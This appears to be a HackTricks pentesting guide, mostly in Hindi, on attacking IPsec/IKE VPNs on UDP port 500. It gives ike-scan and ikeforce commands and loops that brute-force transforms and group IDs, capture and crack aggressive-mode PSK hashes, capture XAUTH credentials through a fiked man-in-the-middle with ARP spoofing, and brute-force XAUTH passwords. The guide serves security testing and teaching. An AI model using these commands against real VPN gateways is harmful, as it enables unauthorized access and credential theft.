500/udp - Pentesting IPsec/IKE VPN

Support HackTricks

Basic Information

IPsec को नेटवर्क (LAN-to-LAN) के बीच संचार को सुरक्षित करने के लिए मुख्य तकनीक के रूप में व्यापक रूप से मान्यता प्राप्त है और दूरस्थ उपयोगकर्ताओं से नेटवर्क गेटवे (दूरस्थ पहुंच) तक, जो उद्यम VPN समाधानों के लिए रीढ़ के रूप में कार्य करता है।

दो बिंदुओं के बीच सुरक्षा संघ (SA) की स्थापना IKE द्वारा प्रबंधित की जाती है, जो ISAKMP के तहत कार्य करता है, जो प्रमाणीकरण और कुंजी विनिमय के लिए एक प्रोटोकॉल है। यह प्रक्रिया कई चरणों में होती है:

  • चरण 1: दो अंत बिंदुओं के बीच एक सुरक्षित चैनल बनाया जाता है। यह एक पूर्व-शेयर की गई कुंजी (PSK) या प्रमाणपत्रों का उपयोग करके प्राप्त किया जाता है, मुख्य मोड का उपयोग करते हुए, जिसमें तीन संदेश जोड़े शामिल होते हैं, या आक्रामक मोड

  • चरण 1.5: हालांकि यह अनिवार्य नहीं है, इस चरण को विस्तारित प्रमाणीकरण चरण के रूप में जाना जाता है, जो उपयोगकर्ता की पहचान की पुष्टि करता है जो कनेक्ट करने का प्रयास कर रहा है, एक उपयोगकर्ता नाम और पासवर्ड की आवश्यकता होती है।

  • चरण 2: यह चरण डेटा को ESP और AH के साथ सुरक्षित करने के लिए पैरामीटर पर बातचीत करने के लिए समर्पित है। यह परफेक्ट फॉरवर्ड सीक्रेसी (PFS) सुनिश्चित करने के लिए चरण 1 में उपयोग किए गए एल्गोरिदम से भिन्न एल्गोरिदम के उपयोग की अनुमति देता है, सुरक्षा को बढ़ाता है।

डिफ़ॉल्ट पोर्ट: 500/udp

nmap का उपयोग करके सेवा का पता लगाएं

root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)

एक मान्य परिवर्तन ढूंढना

IPSec कॉन्फ़िगरेशन केवल एक या कुछ परिवर्तनों को स्वीकार करने के लिए तैयार किया जा सकता है। एक परिवर्तन मानों का एक संयोजन है। प्रत्येक परिवर्तन में DES या 3DES जैसे एन्क्रिप्शन एल्गोरिदम, SHA या MD5 जैसे अखंडता एल्गोरिदम, एक पूर्व-शेयर की के रूप में प्रमाणीकरण प्रकार, Diffie-Hellman 1 या 2 के रूप में कुंजी वितरण एल्गोरिदम और 28800 सेकंड के रूप में जीवनकाल जैसे कई गुण होते हैं।

तो, आपको जो पहला काम करना है वह है एक मान्य परिवर्तन ढूंढना, ताकि सर्वर आपसे बात कर सके। ऐसा करने के लिए, आप उपकरण ike-scan का उपयोग कर सकते हैं। डिफ़ॉल्ट रूप से, Ike-scan मुख्य मोड में काम करता है, और एक ISAKMP हेडर के साथ गेटवे को एक पैकेट भेजता है और इसके अंदर आठ परिवर्तनों के साथ एकल प्रस्ताव भेजता है।

प्रतिक्रिया के आधार पर, आप एंडपॉइंट के बारे में कुछ जानकारी प्राप्त कर सकते हैं:

root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify

As you can see in the previous response, there is a field called AUTH with the value PSK. This means that the vpn is configured using a preshared key (and this is really good for a pentester). The value of the last line is also very important:

  • 0 returned handshake; 0 returned notify: इसका मतलब है कि लक्ष्य IPsec गेटवे नहीं है

  • 1 returned handshake; 0 returned notify: इसका मतलब है कि लक्ष्य IPsec के लिए कॉन्फ़िगर किया गया है और IKE बातचीत करने के लिए तैयार है, और आप द्वारा प्रस्तावित एक या अधिक परिवर्तन स्वीकार्य हैं (एक मान्य परिवर्तन आउटपुट में दिखाया जाएगा)।

  • 0 returned handshake; 1 returned notify: VPN गेटवे तब एक सूचनात्मक संदेश के साथ प्रतिक्रिया करते हैं जब कोई भी परिवर्तन स्वीकार्य नहीं है (हालांकि कुछ गेटवे ऐसा नहीं करते हैं, इस मामले में आगे विश्लेषण और एक संशोधित प्रस्ताव का प्रयास किया जाना चाहिए)।

फिर, इस मामले में हमारे पास पहले से ही एक मान्य परिवर्तन है लेकिन यदि आप 3रे मामले में हैं, तो आपको एक मान्य परिवर्तन खोजने के लिए थोड़ा ब्रूट-फोर्स करना होगा:

सबसे पहले, आपको सभी संभावित परिवर्तनों को बनाना होगा:

for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done

और फिर प्रत्येक को ike-scan का उपयोग करके ब्रूट-फोर्स करें (इसमें कई मिनट लग सकते हैं):

while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt

यदि ब्रूट-फोर्स काम नहीं करता है, तो शायद सर्वर बिना हैंडशेक के भी मान्य ट्रांसफॉर्म्स पर प्रतिक्रिया दे रहा है। फिर, आप उसी ब्रूट-फोर्स को आक्रामक मोड का उपयोग करके आजमा सकते हैं:

while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt

उम्मीद है कि एक मान्य परिवर्तन वापस प्रतिध्वनित होता है। आप iker.py का उपयोग करके समान हमला करने की कोशिश कर सकते हैं। आप ikeforce के साथ परिवर्तनों को ब्रूट फोर्स करने की भी कोशिश कर सकते हैं:

./ikeforce.py <IP> # No parameters are required for scan -h for additional help

In DH Group: 14 = 2048-बिट MODP और 15 = 3072-बिट 2 = HMAC-SHA = SHA1 (इस मामले में)। --trans प्रारूप है $Enc,$Hash,$Auth,$DH

Cisco यह संकेत करता है कि DH समूह 1 और 2 का उपयोग करने से बचें क्योंकि वे पर्याप्त मजबूत नहीं हैं। विशेषज्ञों का मानना है कि जिन देशों के पास बहुत सारे संसाधन हैं, वे आसानी से इन कमजोर समूहों का उपयोग करने वाले डेटा के एन्क्रिप्शन को तोड़ सकते हैं। यह एक विशेष विधि का उपयोग करके किया जाता है जो उन्हें कोड को जल्दी से क्रैक करने के लिए तैयार करती है। हालांकि इस विधि को स्थापित करने में बहुत पैसा लगता है, यह इन शक्तिशाली देशों को वास्तविक समय में एन्क्रिप्टेड डेटा पढ़ने की अनुमति देती है यदि यह किसी कमजोर समूह (जैसे 1,024-बिट या छोटे) का उपयोग कर रहा है।

सर्वर फिंगरप्रिंटिंग

फिर, आप ike-scan का उपयोग करके उपकरण के विक्रेता को खोजने की कोशिश कर सकते हैं। उपकरण एक प्रारंभिक प्रस्ताव भेजता है और पुनः खेलने से रुक जाता है। फिर, यह प्राप्त संदेशों के बीच समय के अंतर का विश्लेषण करेगा और मेल खाने वाले प्रतिक्रिया पैटर्न के साथ, पेंटेस्टर सफलतापूर्वक VPN गेटवे विक्रेता का फिंगरप्रिंट बना सकता है। इसके अलावा, कुछ VPN सर्वर वैकल्पिक विक्रेता आईडी (VID) पेलोड का उपयोग करेंगे IKE के साथ।

यदि आवश्यक हो तो मान्य परिवर्तन निर्दिष्ट करें (using --trans)

यदि IKE यह पता लगाता है कि विक्रेता कौन है, तो यह इसे प्रिंट करेगा:

root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify

यह nmap स्क्रिप्ट ike-version के साथ भी प्राप्त किया जा सकता है

सही ID (समूह नाम) खोजना

हैश को कैप्चर करने की अनुमति पाने के लिए आपको एक मान्य ट्रांसफॉर्मेशन की आवश्यकता है जो आक्रामक मोड का समर्थन करता है और सही ID (समूह नाम) होना चाहिए। आपको शायद मान्य समूह नाम नहीं पता होगा, इसलिए आपको इसे ब्रूट-फोर्स करना होगा। इसके लिए, मैं आपको 2 विधियों की सिफारिश करूंगा:

ike-scan के साथ ID का ब्रूटफोर्सिंग

सबसे पहले, एक नकली ID के साथ एक अनुरोध करने की कोशिश करें जिससे हैश इकट्ठा किया जा सके ("-P"):

ike-scan -P -M -A -n fakeID <IP>

यदि कोई हैश वापस नहीं किया गया है, तो शायद यह ब्रूट फोर्सिंग की विधि काम करेगी। यदि कुछ हैश वापस किया गया है, तो इसका मतलब है कि एक नकली हैश एक नकली आईडी के लिए वापस भेजा जाएगा, इसलिए यह विधि आईडी को ब्रूट-फोर्स करने के लिए विश्वसनीय नहीं होगी। उदाहरण के लिए, एक नकली हैश वापस किया जा सकता है (यह आधुनिक संस्करणों में होता है):

लेकिन यदि जैसा कि मैंने कहा, कोई हैश वापस नहीं किया गया है, तो आपको ike-scan का उपयोग करके सामान्य समूह नामों को ब्रूट-फोर्स करने का प्रयास करना चाहिए।

यह स्क्रिप्ट संभावित आईडी को ब्रूट-फोर्स करने का प्रयास करेगी और उन आईडी को वापस करेगी जहाँ एक मान्य हैंडशेक वापस किया गया है (यह एक मान्य समूह नाम होगा)।

यदि आपने एक विशिष्ट परिवर्तन खोजा है, तो इसे ike-scan कमांड में जोड़ें। और यदि आपने कई परिवर्तनों की खोज की है, तो उन्हें सभी को आजमाने के लिए एक नया लूप जोड़ने में संकोच न करें (आपको तब तक सभी को आजमाना चाहिए जब तक कि उनमें से एक सही ढंग से काम न करे)।

आप सामान्य समूह नामों को ब्रूट-फोर्स करने के लिए ikeforce का शब्दकोश या seclists में एक का उपयोग कर सकते हैं:

while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt

Or use this dict (is a combination of the other 2 dicts without repetitions):

Iker के साथ ID का ब्रूटफोर्सिंग

iker.py भी ike-scan का उपयोग करके संभावित समूह नामों का ब्रूटफोर्सिंग करता है। यह ike-scan के आउटपुट के आधार पर एक मान्य ID खोजने के लिए अपनी विधि का पालन करता है।

ikeforce के साथ ID का ब्रूटफोर्सिंग

ikeforce.py एक उपकरण है जिसका उपयोग ID का ब्रूटफोर्सिंग करने के लिए किया जा सकता है। यह उपकरण विभिन्न कमजोरियों का शोषण करने की कोशिश करेगा जो एक मान्य और गैर-मान्य ID के बीच अंतर करने के लिए उपयोग की जा सकती हैं (इसमें झूठे सकारात्मक और झूठे नकारात्मक हो सकते हैं, इसलिए मैं संभवतः ike-scan विधि का उपयोग करना पसंद करता हूं)।

डिफ़ॉल्ट रूप से ikeforce शुरुआत में कुछ यादृच्छिक IDs भेजेगा ताकि सर्वर के व्यवहार की जांच की जा सके और उपयोग करने के लिए रणनीति निर्धारित की जा सके।

  • पहली विधि समूह नामों को खोजने के द्वारा ब्रूट-फोर्स करना है Dead Peer Detection DPD की जानकारी के लिए Cisco सिस्टमों की (यह जानकारी केवल तब सर्वर द्वारा पुनः भेजी जाती है जब समूह नाम सही होता है)।

  • उपलब्ध दूसरी विधि यह है कि प्रत्येक प्रयास के लिए भेजे गए उत्तरों की संख्या की जांच करें क्योंकि कभी-कभी सही ID का उपयोग करने पर अधिक पैकेट भेजे जाते हैं।

  • तीसरी विधि गलत ID के जवाब में "INVALID-ID-INFORMATION" की खोज करने पर आधारित है।

  • अंत में, यदि सर्वर जांचों के लिए कुछ भी पुनः नहीं भेजता है, तो ikeforce सर्वर को ब्रूटफोर्स करने की कोशिश करेगा और जांच करेगा कि जब सही ID भेजी जाती है तो सर्वर कुछ पैकेट के साथ पुनः भेजता है। स्पष्ट है, ID का ब्रूटफोर्सिंग करने का लक्ष्य PSK प्राप्त करना है जब आपके पास एक मान्य ID हो। फिर, ID और PSK के साथ आपको XAUTH का ब्रूटफोर्स करना होगा (यदि यह सक्षम है)।

यदि आपने एक विशिष्ट परिवर्तन खोजा है तो इसे ikeforce कमांड में जोड़ें। और यदि आपने कई परिवर्तनों की खोज की है तो उन्हें सभी को आजमाने के लिए एक नया लूप जोड़ने में संकोच न करें (आपको तब तक सभी को आजमाना चाहिए जब तक उनमें से एक सही ढंग से काम न करे)।

git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic

Sniffing ID

(From the book Network Security Assessment: Know Your Network): यह संभव है कि VPN क्लाइंट और सर्वर के बीच कनेक्शन को स्निफ़ करके मान्य उपयोगकर्ता नाम प्राप्त किए जा सकें, क्योंकि पहले आक्रामक मोड पैकेट जिसमें क्लाइंट ID होती है, स्पष्ट रूप से भेजा जाता है।

Capturing & cracking the hash

अंत में, यदि आपने एक मान्य परिवर्तन और समूह नाम पाया है और यदि आक्रामक मोड की अनुमति है, तो आप बहुत आसानी से क्रैक करने योग्य हैश प्राप्त कर सकते हैं:

ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor

हैश hash.txt के अंदर सहेजा जाएगा।

आप psk-crack, john ( ikescan2john.py का उपयोग करते हुए) और hashcat का उपयोग करके हैश को crack कर सकते हैं:

psk-crack -d <Wordlist_path> psk.txt

XAuth

आक्रामक मोड IKE को पूर्व-शेयर की (PSK) के साथ मिलाकर समूह प्रमाणीकरण उद्देश्यों के लिए सामान्यतः उपयोग किया जाता है। इस विधि को XAuth (विस्तारित प्रमाणीकरण) द्वारा बढ़ाया गया है, जो उपयोगकर्ता प्रमाणीकरण की एक अतिरिक्त परत पेश करता है। ऐसा प्रमाणीकरण सामान्यतः Microsoft Active Directory, RADIUS, या तुलनीय प्रणालियों जैसी सेवाओं का उपयोग करता है।

IKEv2 में संक्रमण करते समय, एक महत्वपूर्ण बदलाव देखा जाता है जहाँ EAP (विस्तार योग्य प्रमाणीकरण प्रोटोकॉल) का उपयोग XAuth के स्थान पर उपयोगकर्ताओं को प्रमाणीकरण करने के लिए किया जाता है। यह परिवर्तन सुरक्षित संचार प्रोटोकॉल के भीतर प्रमाणीकरण प्रथाओं में एक विकास को रेखांकित करता है।

स्थानीय नेटवर्क MitM क्रेडेंशियल कैप्चर करने के लिए

तो आप fiked का उपयोग करके लॉगिन का डेटा कैप्चर कर सकते हैं और देख सकते हैं कि क्या कोई डिफ़ॉल्ट उपयोगकर्ता नाम है (आपको sniffing के लिए IKE ट्रैफ़िक को fiked पर पुनर्निर्देशित करने की आवश्यकता है, जिसे ARP spoofing की मदद से किया जा सकता है, अधिक जानकारी). Fiked एक VPN एंडपॉइंट के रूप में कार्य करेगा और XAuth क्रेडेंशियल्स को कैप्चर करेगा:

fiked -g <IP> -k testgroup:secretkey -l output.txt -d

Also, using IPSec try to make a MitM attack and block all traffic to port 500, if the IPSec tunnel cannot be established maybe the traffic will be sent in clear.

Brute-forcing XAUTH username और password with ikeforce

To brute force the XAUTH (when you know a valid group name id and the psk) you can use a username or list of usernames and a list o passwords:

./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]

इस तरह, ikeforce प्रत्येक username:password के संयोजन का उपयोग करके कनेक्ट करने की कोशिश करेगा।

यदि आपने एक या एक से अधिक मान्य ट्रांसफॉर्म पाए हैं, तो बस उन्हें पिछले चरणों की तरह उपयोग करें।

IPSEC VPN के साथ प्रमाणीकरण

Kali में, VPNC IPsec टनल स्थापित करने के लिए उपयोग किया जाता है। प्रोफाइल को /etc/vpnc/ निर्देशिका में स्थित होना चाहिए। आप vpnc कमांड का उपयोग करके इन प्रोफाइल को आरंभ कर सकते हैं।

निम्नलिखित कमांड और कॉन्फ़िगरेशन VPNC के साथ VPN कनेक्शन सेट करने की प्रक्रिया को दर्शाते हैं:

root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0

In this setup:

  • [VPN_GATEWAY_IP] को VPN गेटवे के वास्तविक IP पते से बदलें।

  • [VPN_CONNECTION_ID] को VPN कनेक्शन के पहचानकर्ता से बदलें।

  • [VPN_GROUP_SECRET] को VPN के समूह गुप्त से बदलें।

  • [VPN_USERNAME] और [VPN_PASSWORD] को VPN प्रमाणीकरण क्रेडेंशियल्स से बदलें।

  • [PID] उस प्रक्रिया ID का प्रतीक है जो vpnc प्रारंभ करते समय असाइन की जाएगी।

VPN कॉन्फ़िगर करते समय प्लेसहोल्डर्स को बदलने के लिए वास्तविक, सुरक्षित मानों का उपयोग सुनिश्चित करें।

Reference Material

Shodan

  • port:500 IKE

Support HackTricks

Last updated